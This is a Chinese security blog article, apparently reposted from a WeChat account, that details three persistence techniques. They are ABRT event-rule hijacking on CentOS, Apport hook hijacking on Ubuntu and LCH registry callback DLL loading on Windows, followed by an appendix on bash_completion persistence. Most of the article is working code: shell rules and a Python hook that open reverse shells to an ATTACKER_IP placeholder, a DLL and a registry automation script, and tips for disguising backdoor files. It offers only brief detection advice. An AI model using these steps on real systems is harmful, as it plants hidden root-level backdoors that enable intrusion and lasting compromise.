公开三个持久化方式(CentOS/Ubuntu/Windows)"

admin 2026-10-16 05:46:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

公开三个持久化方式(CentOS/Ubuntu/Windows)

刃无锋
刃无锋

渗透安全HackTwo

2026年10月1日 07:19
广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

0x01 简介

前一段时间,因为个人对攻防的思考有了些新的理解,并伴随着个人兴趣,打算验证一下,开始利用周六日对持久化方式进行研究,于是有了这篇文章。本文介绍的三个较少被关注的持久化方式(经过我检索,应该是没有被公过)之所以说得这么谨慎和小心翼翼,是因为研究过程中,其实发现了好多个持久化方式,但经过网上多次搜索,发现都被公开过了,只是很少被使用所以知名度不高而已。文章附录部分的文章是其中一个我自己发现的挺好用的一个持久化方式,但是经过检索其实已经被公开,但较少被使用。

本文内容仅用于网络安全技术学习与交流,所有操作均在授权测试环境下完成。严禁将文中技术用于未授权检测与非法攻击,违者责任自负。

现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!****

参考文章:

https://www.hacktwohub.com/

*末尾可领取挖洞资料/加圈子 #渗透安全HackTwo*

*0x02 正文详情*

本次涉及的三个目标,分别命名为:

名称 系统 持久化路径 触发机制
ABRT 事件劫持 CentOS / RHEL /etc/libreport/events.d/*.conf ABRT 处理崩溃事件 → root 执行 Shell
Apport Hook 劫持 Ubuntu / Debian /usr/share/apport/general-hooks/*.py Apport 处理崩溃报告 → root 执行 Python
LCH 回调劫持 Windows 10/11/Server HKLM\\...\\LightweightCallHandlers\\PNIDUI\\Startup Explorer 启动 → 加载指定 DLL

三个点的共同点:需要 root / 管理员权限写入,属于\"权限维持\"范畴。

从实用性来讲,Windows的LCH回调劫持实用性最高,CentOS/RHEL的ABRT事件劫持次之,Ubuntu/Debian的Apport Hook劫持实用性最低,但可以作为多组合或者二级持久化的其中一环存在。根据我自己的研究经验来看,隐蔽性都还不错。

ABRT 事件劫持(CentOS)

1.1 原理

在 CentOS / RHEL / Fedora 中,abrtd(Automatic Bug Reporting Tool daemon)负责捕获进程崩溃。当 C/C++ 程序崩溃时,abrt-hook-ccpp 会在 /var/spool/abrt/ 下创建一个 problem directory,随后 abrtd 按事件名匹配 /etc/libreport/events.d/ 目录中的规则文件。

规则文件格式如下:

EVENT=post-create analyzer=CCpp        # 以 root 执行的 shell 命令        /path/to/payload
  • 每段规则以 EVENT=<事件名> [条件] 开头
  • 后续缩进行是 shell 命令,由 abrtd 以 root 身份执行
  • 常见事件:post-create、analyze_LocalGDB、report-cli 等

1.2 复现条件

  • 已取得 root 权限
  • abrt

与 libreport 包已安装(CentOS 默认安装)
* abrtd.service

处于 active 且 enabled 状态

1.3 复现步骤

步骤 1:写入恶意规则

cat > /etc/libreport/events.d/backdoor.conf <<'EOF'EVENT=post-create analyzer=CCpp        # 反弹 shell 或执行任意命令        bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &EOFchmod 644 /etc/libreport/events.d/backdoor.conf

post-create 是最通用的事件——任何 CCpp 类型崩溃都会触发。也可选择 analyze_LocalGDB 等更窄的事件以提高隐蔽性。

步骤 2:诱导进程崩溃

# 启动一个无害的后台进程,发送 SIGSEGV 使其崩溃sleep 100 & PID=$!sleep 0.2kill -SEGV $PID

步骤 3:abrtd 自动处理

abrtd 自动检测到 /var/spool/abrt/ 下的 problem directory,匹配 post-create 事件并执行规则中的命令。整个过程 2-3 秒。

验证:

ls -ld /var/spool/abrt/ccpp-* | tail -1# drwxr-x---. 2 root abrt 4096 Jul 17 20:40 /var/spool/abrt/ccpp-2026-07-17-20:40:41-2317

1.4 一键复现脚本(非破坏性验证)

如果不想等待真实崩溃,可以手动触发事件处理:

# 写入测试规则cat > /etc/libreport/events.d/ph_test.conf <<'EOF'EVENT=post-create analyzer=CCpp        echo \"persistence verified\" > /tmp/events_d_pocEOF# 诱导崩溃sleep 1 & PID=$! && sleep 0.2 && kill -SEGV $PID# 等待 2-3 秒后检查sleep 3cat /tmp/events_d_poc# 清理rm -f /etc/libreport/events.d/ph_test.conf /tmp/events_d_poc

1.5 注意事项

  • 服务依赖

:若 abrtd 未运行,执行 systemctl start abrtd
* 触发方式

:真实攻击可等待目标应用自然崩溃,或向低优先级进程发送 SIGSEGV。避免对系统关键进程操作
* 隐蔽性

:规则文件可伪装成 ccpp_event.conf 风格命名,混入已有配置中;崩溃善后本身不易被审计
* 检测

:检查 /etc/libreport/events.d/ 下非 RPM 包属的文件:rpm -qf /etc/libreport/events.d/*.conf

Apport Hook 劫持(Ubuntu)

2.1 原理

apport 是 Ubuntu 默认的崩溃报告系统。当 apport 处理崩溃报告时,会加载 /usr/share/apport/general-hooks/ 下所有 .py 文件,并调用每个模块中的 add_info(report, ui) 函数。这些钩子以 root 身份运行。

核心调用链:

  1. 程序崩溃 → /proc/sys/kernel/core_pattern 调用 /usr/share/apport/apport
  2. apport 收集信息,写入 /var/crash/*.crash
  3. 报告被处理时(apport-cli、ubuntu-bug、whoopsie 自动上传),调用 Report.add_hooks_info()
  4. add_hooks_info()

遍历 /usr/share/apport/general-hooks/*.py,对每个模块调用 add_info()

2.2 复现条件

  • 已取得 root 权限
  • apport

包已安装(Ubuntu 默认安装)
* apport.service

处于 active 状态

2.3 复现步骤

步骤 1:写入恶意 hook

cat > /usr/share/apport/general-hooks/backdoor.py <<'EOF'import osimport subprocessdef add_info(report, ui):    # 反弹 shell 或执行任意命令    subprocess.Popen(        [\"/bin/bash\", \"-c\",         \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &\"],        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL    )EOFchmod 644 /usr/share/apport/general-hooks/backdoor.py

关键:函数名必须是 add_info(report, ui),接受两个参数。文件命名可伪装为 generic_helper.py 等混入已有 hooks 中。

步骤 2:触发 hook 执行(非破坏性)

python3 - <<'PYEOF'from apport.report import Reportr = Report()r.add_hooks_info(None)print(\"hooks executed\")PYEOF

此方法无需真实诱导进程崩溃,直接调用 add_hooks_info() 即可触发所有 hook。在真实攻击场景中,任何程序崩溃都会自动触发。

验证:

在 hook 中写入标记文件即可验证:

def add_info(report, ui):    with open(\"/tmp/apport_poc\", \"w\") as f:        f.write(\"apport hook executed\
\")

2.4 一键复现脚本

# 写入测试 hookcat > /usr/share/apport/general-hooks/ph_test.py <<'EOF'def add_info(report, ui):    with open(\"/tmp/apport_poc\", \"w\") as f:        f.write(\"apport hook executed\
\")EOF# 触发python3 -c \"from apport.report import Report; Report().add_hooks_info(None)\"# 验证cat /tmp/apport_poc# 清理rm -f /usr/share/apport/general-hooks/ph_test.py /tmp/apport_poc

2.5 注意事项

  • 触发时机

:hook 不在崩溃瞬间执行,而是在报告被进一步处理(如用户运行 apport-cli、桌面环境 whoopsie 自动上传)时执行。对于无桌面的服务器,需要用户主动处理崩溃报告
* 隐蔽性

:hook 文件混入正常 apport hooks 中,命名可伪装为 generic.py、parse_segv.py 等
* 兼容性

:仅 Debian/Ubuntu 系特有,CentOS 使用不同的崩溃机制(见第一章)
* 检测

:审计 /usr/share/apport/general-hooks/ 下非包属的 .py 文件:dpkg -S /usr/share/apport/general-hooks/*.py

LCH 回调劫持(Windows)

3.1 原理

Windows 中,explorer.exe 启动时会加载 pnidui.dll(网络连接 UI 模块)。pnidui.dll 读取注册表 HKLM\\SYSTEM\\CurrentControlSet\\Control\\Network\\LightweightCallHandlers\\PNIDUI\\Startup 下的所有子键,对每个子键执行:

LoadLibrary(DllName) → GetProcAddress(FunctionEntryName) → 调用导出函数

也可以配置 ExeName 值来直接启动可执行文件。

关键特点:

  • 不需要 COM 注册

,不需要 CLSID / InprocServer32
* 直接写入子键 + DllName + FunctionEntryName 即可
* 注册表项对 BUILTIN\\Administrators 授予 FullControl,不受 TrustedInstaller 保护
* DLL 的 DllMain 在 DLL_PROCESS_ATTACH 时就会执行,即使导出函数调用失败也不影响

3.2 复现条件

  • 管理员权限(BUILTIN\\Administrators 或 Network Configuration Operators)
  • Windows 10 / 11 / Server 2016+

3.3 复现步骤

步骤 1:编写 C 语言测试 DLL

// test_lch.c#include <windows.h>#include <stdio.h>#include <time.h>// 导出函数,pnidui.dll 会通过 GetProcAddress 查找__declspec(dllexport) void __stdcall LchTestExport(void){    return;}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){    wchar_t path[MAX_PATH];    FILE *fp;    if (ul_reason_for_call == DLL_PROCESS_ATTACH)    {        // DllMain 中放置 payload:此处以写入标记文件为例        GetModuleFileNameW(NULL, path, MAX_PATH);        fp = fopen(\"C:\\\\Temp\\\\lch_poc_loaded.txt\", \"a\");        if (fp)        {            fprintf(fp, \"DLL loaded by: %ls @ %lld\
\", path, (long long)time(NULL));            fclose(fp);        }    }    return TRUE;}

步骤 2:编译 DLL

gcc.exe -shared -o test_lch.dll test_lch.c

步骤 3:放置 DLL 并写入注册表

# 复制 DLL 到 System32(或任何可访问路径)Copy-Item .\\test_lch.dll C:\\Windows\\System32\\test_lch_poc.dll# 创建注册表项(需管理员权限)$path = \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Network\\LightweightCallHandlers\\PNIDUI\\Startup\\POC_Startup\"New-Item -Path $path -Force | Out-NullSet-ItemProperty -Path $path -Name \"DllName\"     -Value \"C:\\Windows\\System32\\test_lch_poc.dll\"Set-ItemProperty -Path $path -Name \"FunctionEntryName\" -Value \"LchTestExport\"Set-ItemProperty -Path $path -Name \"Cardinality\"  -Value 1 -Type DWord

步骤 4:重启 Explorer 触发

Stop-Process -Name explorer -ForceStart-Sleep -Seconds 5Start-Process -FilePath \"explorer.exe\" -WorkingDirectory \"C:\\Windows\"

验证:

Get-Content C:\\Temp\\lch_poc_loaded.txt# DLL loaded by: C:\\Windows\\explorer.exe @ 1784305494

3.4 Python 一键复现脚本

# auto_poc.py —— 编译 + 注册表 + 触发 + 验证 + 清理 全自动import os, sys, time, shutil, subprocess, winreg, ctypesPROJECT_DIR = r\"C:\\Temp\\test\"DLL_TARGET  = os.path.join(r\"C:\\Windows\\System32\", \"test_lch_poc.dll\")EVIDENCE    = os.path.join(PROJECT_DIR, \"lch_poc_loaded.txt\")REG_PATH    = r\"SYSTEM\\CurrentControlSet\\Control\\Network\\LightweightCallHandlers\\PNIDUI\\Startup\\POC_Startup\"def is_admin():    return ctypes.windll.shell32.IsUserAnAdmin()# 1. 编译gcc = shutil.which(\"gcc\")subprocess.run([gcc, \"-shared\", \"-o\", os.path.join(PROJECT_DIR, \"test_lch.dll\"),                os.path.join(PROJECT_DIR, \"test_lch.c\")], check=True)# 2. 放置 DLLshutil.copy2(os.path.join(PROJECT_DIR, \"test_lch.dll\"), DLL_TARGET)# 3. 注册表key = winreg.CreateKeyEx(winreg.HKEY_LOCAL_MACHINE, REG_PATH, 0, winreg.KEY_WRITE)winreg.SetValueEx(key, \"DllName\",          0, winreg.REG_SZ, DLL_TARGET)winreg.SetValueEx(key, \"FunctionEntryName\", 0, winreg.REG_SZ, \"LchTestExport\")winreg.SetValueEx(key, \"Cardinality\",      0, winreg.REG_DWORD, 1)winreg.CloseKey(key)# 4. 重启 Explorerif os.path.exists(EVIDENCE): os.remove(EVIDENCE)subprocess.run([\"powershell\", \"-Command\",    \"Stop-Process -Name explorer -Force; Start-Sleep 5; Start-Process explorer\"], check=True)# 5. 验证time.sleep(10)if os.path.exists(EVIDENCE):    with open(EVIDENCE) as f: print(f.read())else:    print(\"timeout, check registry entry and DLL path manually\")# 6. 清理winreg.DeleteKey(winreg.HKEY_LOCAL_MACHINE, REG_PATH)# DLL 可能被 explorer.exe 占用,需再次重启 explorer 后手动删除

3.5 注意事项

  • 无 TrustedInstaller 保护

区别于 HKLM\\...\\Run 等常见键,该键直接对 Administrators 开放所有权限
* DLL 占用

explorer.exe 加载 DLL 后不会立即释放,清理时需再重启一次 Explorer
* 触发稳定性

PNIDUI\\Startup 在每次 Explorer 启动时触发,稳定可靠
* 函数签名

导出函数应保持简单(void __stdcall func(void)),避免签名不匹配导致 Explorer 崩溃
* 检测

监控 LightweightCallHandlers 下新增子键或指向非系统路径的 DllName/ExeName 值

三个持久化点的共性与差异

维度 ABRT 事件劫持 Apport Hook 劫持 LCH 回调劫持
实战价值 中 低 高
触发事件 进程崩溃 崩溃报告处理 Explorer 启动
执行身份 root root 当前用户
代码形式 Shell Python 原生 DLL
写入权限 root root Administrator
触发稳定性 中(依赖崩溃) 中(依赖报告处理) 高(每次登录)
防护等级 无特殊保护 无特殊保护 无特殊保护
隐蔽性 高 高 高

共性风险:三者都寄生在系统的\"正常善后流程\"中,审计时容易被忽略。防御侧建议将这三个路径加入文件完整性监控和注册表变更审计的基线中。

附录

利用bash\_completion进行持久化

准备一个测试用的程序

模拟木马,可以先放到/tmp目录下

// gcc -g -o test test.c#include <stdio.h>#include <unistd.h>int main() {    char message[] = \"Hello bash completion!!\";    printf(\"%s\
PID: %d\
\", message, getpid());    while(1) sleep(5);    return 0;}

/etc/bash\_completion.d下创建bash\_completion语法文件

文件名称随意,这里就叫bash_completion_test好了

touch /etc/bash_completion.d/bash_completion_test

内容如下:

if [[ -e /tmp/bash_completion.sh ]]; then        . /tmp/bash_completion.shfi

通过脚本执行木马

touch /tmp/bash_completion.sh

内容如下:

/tmp/test

效果

此时,直接打开一个bash,可以看到输出:

Hello bash completion!!PID: 23803

也可以通过命令行看到“木马”程序test的运行:

新的bash窗口此时是阻塞的,因为程序是前台运行,目的是为了演示方便,真实攻击下可以改为后台程序或者可以将/tmp/bash\_completion.sh中的命令改为/tmp/test &即可

*0x03 总结 CentOS ABRT 崩溃事件劫持、Ubuntu Apport 钩子劫持、Windows LCH 回调劫持,均需高权限写入,依托系统原生流程触发。Windows LCH 实用性最强,Explorer 启动加载 DLL,稳定可靠;ABRT 次之,依赖程序崩溃;Apport 触发条件受限,适合作为二级持久化。这类方法易绕过常规监控,防御需对对应目录与注册表做基线审计,另bash\_completion 持久化作为补充研究,仅授权环境安全研究!🔥喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢! 内部星球VIP介绍V1.5(更多未公开挖洞技术欢迎加入星球) 如果你想学习更多另类渗透SRC/AI挖洞技术/攻防/免杀/应急溯源/赏金赚取/工作内推,欢迎加入我们内部星球可获得内部工具字典和享受内部资源/内部群🔥 🚀1.每周更新1day/0day漏洞刷分上分,目前已更新至28794+; 🧰2.包含网上的各种付费工具/各种Burp漏洞检测插件/fuzz字典/多个SRC挖洞SKILL等等; 3.Fofa/Hunter/Ctfshow/360Quake/Shadon/零零信安/Zoomeye各种账号VIP会员共享等等; 🎥5.最新SRC挖洞文库/红队/代审/免杀/逆向视频资源等等; 🧪6.内部自动化漏扫赚赏金捡洞工具,免杀CS/Webshell工具等等; 💡7.漏洞报告文库、共享SRC漏洞报告学习挖洞技巧; 🎯6.最新0Day1Day漏洞POC/EXP分享地址(同步更新); https://t.zsxq.com/jVcxV(全网最新最完整的漏洞库) 🔥7.详情直接点击下方链接进入了解,后台回复\" 星球 \"获取优惠先到先得!后续资源会更丰富在加入还是低价!(即将涨价)以上仅介绍部分内容还没完!点击下方地址全面了解👇🏻 👉点击了解加入-->>2026内部VIP星球福利介绍V1.5版本-1day/0day漏洞库及内部资源更新* 结尾 免责声明 获取方法 回复“app\" 获取  app渗透和app抓包教程 回复“渗透字典\" 获取 一些字典已重新划分处理(需要内部专属fuzz字典可加入星球获取,内部字典多年积累整理好用!持续整理中!) 回复“书籍\" 获取 网络安全相关经典书籍电子版pdf 最后必看 文章中的案例或工具仅面向合法授权的企业安全建设行为,如您需要测试内容的可用性,请自行搭建靶机环境,勿用于非法行为。如用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。如您在使用本工具或阅读文章的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。本工具或文章或来源于网络,若有侵权请联系作者删除,请在24小时内删除,请勿用于商业行为,自行查验是否具有后门,切勿相信软件内的广告! --- 往期推荐 1.内部VIP知识星球福利介绍V1.5版本0day推送 2.最新Nessus2026.2.9版本下载 3.最新BurpSuite2026.1.1专业版下载 4.最新xray1.9.11高级版下载Windows/Linux 5.最新HCL AppScan\_Standard\_10.9.1下载** 渗透安全HackTwo 微信号:关注公众号获取 后台回复星球加入:知识星球 扫码关注 了解更多 上一篇文章:Nacos配置文件攻防思路总结|揭秘Nacos被低估的攻击面 喜欢的师傅可以点赞转发支持一下


公开三个持久化方式(CentOS/Ubuntu/Windows)" 网络安全文章

公开三个持久化方式(CentOS/Ubuntu/Windows)"

本文介绍了三种较少被关注的操作系统持久化方式,包括CentOS/RHEL的ABRT事件劫持、Ubuntu/Debian的ApportHook劫持和Windows的LCH回调劫持,并详细阐述了每种方法的原理、复现步骤和注意事项。文章强调了这些方法在权限维持方面的应用,并提供了相应的防御建议。
俄罗斯APT组织StarBlizzard利用“RedFlick”感染链:从ClickFix到VHDX的自动化攻击升级" 网络安全文章

俄罗斯APT组织StarBlizzard利用“RedFlick”感染链:从ClickFix到VHDX的自动化攻击升级"

俄罗斯APT组织StarBlizzard采用新型RedFlick感染链,从需多次交互的ClickFix转向单次点击LNK即触发全自动攻击,利用口令保护档案、VHDX虚拟磁盘、多计划任务持久化及CPL伪装等手法规避检测。2026年1至8月至少13次大规模钓鱼活动影响超100个组织,主要位于美英及乌克兰。建议采用抗钓鱼认证、EDR阻止模式及网络保护等措施防御。
评论:0   参与:  0